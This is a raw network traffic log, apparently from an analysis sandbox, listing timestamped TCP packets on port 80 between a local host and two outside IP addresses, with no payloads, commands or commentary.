Nov 21, 2024 14:11:25.168595076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.169617891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.169661999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.169822931 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.170674086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.170780897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.170818090 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.171823025 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.171899080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.172243118 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.172949076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.173053980 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.173068047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.174019098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.174176931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.174228907 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.175203085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.175302029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.175333023 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.176337957 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.176403046 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.176445007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.177489996 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.177586079 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.177683115 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.178610086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.178709984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.178796053 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.179780960 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.179898977 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.179904938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.180964947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.181036949 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.181066990 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.182013988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.182100058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.182121992 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.185868979 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.185894966 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.185910940 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.185940981 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.186033964 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.186100960 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.186193943 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.186274052 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.186331987 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.186342955 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.186392069 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.187062979 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.187108994 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.187122107 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.187175989 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.187884092 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.187958002 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.187972069 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.188019037 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.188122034 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.188678026 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.188726902 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.188738108 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.188741922 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.188817024 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.189472914 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.189532995 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.189544916 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.189618111 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.189618111 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.190246105 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.190294027 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.190308094 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.190373898 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.190375090 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.191014051 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.191057920 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.191068888 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.191138029 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.191138029 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.191802979 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.191860914 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.191870928 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.191893101 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.191948891 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.192619085 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.192670107 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.192679882 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.192755938 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.192755938 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.193377972 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.193422079 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.193430901 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.193504095 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.193504095 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.194179058 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.194207907 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.194219112 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.194241047 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.194274902 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.195024014 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.195034027 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.195039988 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.195224047 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.195740938 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.195784092 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.195796967 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.195820093 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.195846081 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.195904016 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.196559906 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.196624041 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.196634054 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.196727037 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.197418928 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.197428942 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.197438955 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.197473049 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.197498083 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.198162079 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.198204041 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.198215008 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.198230982 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.198272943 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.198909044 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.198956013 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.198966026 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.198975086 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.199018955 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.199018955 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.199691057 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.199732065 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.199743032 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.199768066 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.199845076 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.200515032 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.200582981 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.200583935 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.200596094 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.200649977 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.200649977 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.201277018 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.201328039 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.201339006 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.201347113 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.201396942 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.201396942 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.202177048 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.202200890 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.202212095 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.202259064 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.202421904 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.202862978 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.202925920 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.203114033 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.203157902 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.203171015 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.203191996 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.203253031 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.203916073 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.203965902 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.203979015 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.204006910 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.204106092 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.204706907 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.204747915 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.204758883 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.204807997 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.204835892 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.205566883 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.205576897 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.205586910 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.205640078 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.205727100 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.206314087 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.206356049 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.206366062 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.206383944 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.206437111 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.207108021 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.207161903 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.207171917 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.207530022 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.207889080 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.207946062 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.207956076 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.208013058 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.208668947 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.208726883 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.208736897 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.208741903 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.208777905 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.208779097 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.209465027 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.209517002 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.209528923 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.209656000 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.210221052 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.210267067 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.210278034 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.210310936 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.210460901 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.211085081 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.211182117 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.211194038 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.211215019 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.211738110 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.211821079 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.211886883 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.211899042 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.211920977 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.212001085 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.212605000 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.212672949 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.212676048 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.212685108 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.212735891 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.212735891 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.227022886 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.315212965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.315257072 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.315833092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.315871954 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.315877914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.316910028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.317040920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.317125082 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.317169905 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.318067074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.318094015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.318186998 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.319253922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.319359064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.320379972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.320424080 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.320612907 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.320908070 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.321482897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.321547031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.321675062 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.322593927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.322705030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.322964907 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.323741913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.323901892 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.324001074 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.324887991 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.324965000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.325242996 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.326065063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.326092958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.326220036 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.327178001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.327286959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.327384949 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.328280926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.328392982 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.328536034 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.329447985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.329581022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.329655886 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.330538034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.330655098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.331087112 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.331872940 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.331998110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.332251072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.332813978 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.332912922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.333022118 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.333951950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.334058046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.334549904 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.335093975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.335303068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.335597992 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.336261988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.336333036 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.336638927 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.337372065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.337485075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.337883949 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.338489056 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.338596106 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.339478016 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.339652061 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.339782000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.339833021 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.340784073 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.340867043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.341265917 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.341923952 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.342035055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.342467070 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.343066931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.343151093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.343372107 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.344218016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.344311953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.344485044 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.345371962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.345470905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.345630884 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.346549034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.346561909 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.346648932 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.347606897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.347704887 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.347898960 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.348824024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.348946095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.349127054 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.349888086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.349984884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.350143909 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.351078033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.351099968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.351186037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.352158070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.352240086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.352349997 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.353302956 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.353405952 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.353575945 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.354321003 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.354404926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.354526997 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.354605913 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.355575085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.355716944 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.355885983 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.356810093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.356864929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.357055902 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.357985020 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.358053923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.358956099 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.359083891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.359273911 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.359671116 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.360095978 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.360193014 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.360301971 CET	49903	80	192.168.2.6	34.116.198.130
